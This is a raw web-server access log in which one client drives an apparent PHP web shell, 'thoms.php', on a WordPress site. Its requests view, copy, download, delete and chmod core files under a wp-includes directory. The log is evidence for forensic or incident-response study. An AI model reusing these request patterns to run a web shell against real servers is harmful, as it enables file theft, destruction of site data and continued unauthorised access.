45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 200 15869 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fembed-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fembed-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 200 13445 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /thoms.php?del=class-wp-widget.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59153 "http://163.245.207.76:443/thoms.php?del=class-wp-widget.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /bossini.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /thoms.php?del=class-wp-comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59153 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:58 -0400] "GET /thoms.php?chmod=feed-rss.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:57 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:58 -0400] "GET /thoms.php?chmod=https-migration.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpluggable.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpluggable.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:58 -0400] "GET /thoms.php?chmod=fonts&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 200 12322 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:58 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:58 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:58 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59133 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:58 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:59 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 200 14565 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:59 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 200 19173 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:59 -0400] "GET /bossini.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:59 -0400] "GET /bossini.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-json.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-json.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:59 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 200 13321 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:59 -0400] "GET /bossini.com.tw/wp-includes/theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:59 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:28:59 -0400] "GET /thoms.php?del=block-patterns&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /bossini.com.tw/wp-includes/post-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /thoms.php?del=theme-templates.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59132 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 200 13299 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frobots-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frobots-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /thoms.php?del=registration.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=registration.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /thoms.php?chmod=wp-diff.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /thoms.php?chmod=vars.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /thoms.php?chmod=l10n&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?chmod=theme-compat&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:00 -0400] "GET /thoms.php?dl=rss-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59156 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /bossini.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /bossini.com.tw/wp-includes/comment-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 200 12413 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /bossini.com.tw/wp-includes/canonical.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 200 13428 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-atom.php HTTP/1.1" 200 13279 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-atom.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /bossini.com.tw/wp-includes/l10n.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fmedia-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fmedia-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:02 -0400] "GET /thoms.php?chmod=abilities-api&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?dl=ms-files.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:01 -0400] "GET /thoms.php?dl=rest-api.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:02 -0400] "GET /bossini.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1747 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:02 -0400] "GET /thoms.php?chmod=customize&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=customize&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:02 -0400] "GET /bossini.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:02 -0400] "GET /bossini.com.tw/wp-includes/feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:02 -0400] "GET /thoms.php?del=blocks&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59174 "http://163.245.207.76:443/thoms.php?del=blocks&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:02 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:02 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Flink-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Flink-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:02 -0400] "GET /thoms.php?del=category-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-load.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-load.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Foption.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Foption.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /thoms.php?chmod=template-canvas.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 200 17857 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /bossini.com.tw/wp-includes/feed-rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /thoms.php?del=update.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=update.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /thoms.php?dl=capabilities.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:03 -0400] "GET /bossini.com.tw/wp-includes/formatting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:04 -0400] "GET /thoms.php?chmod=functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
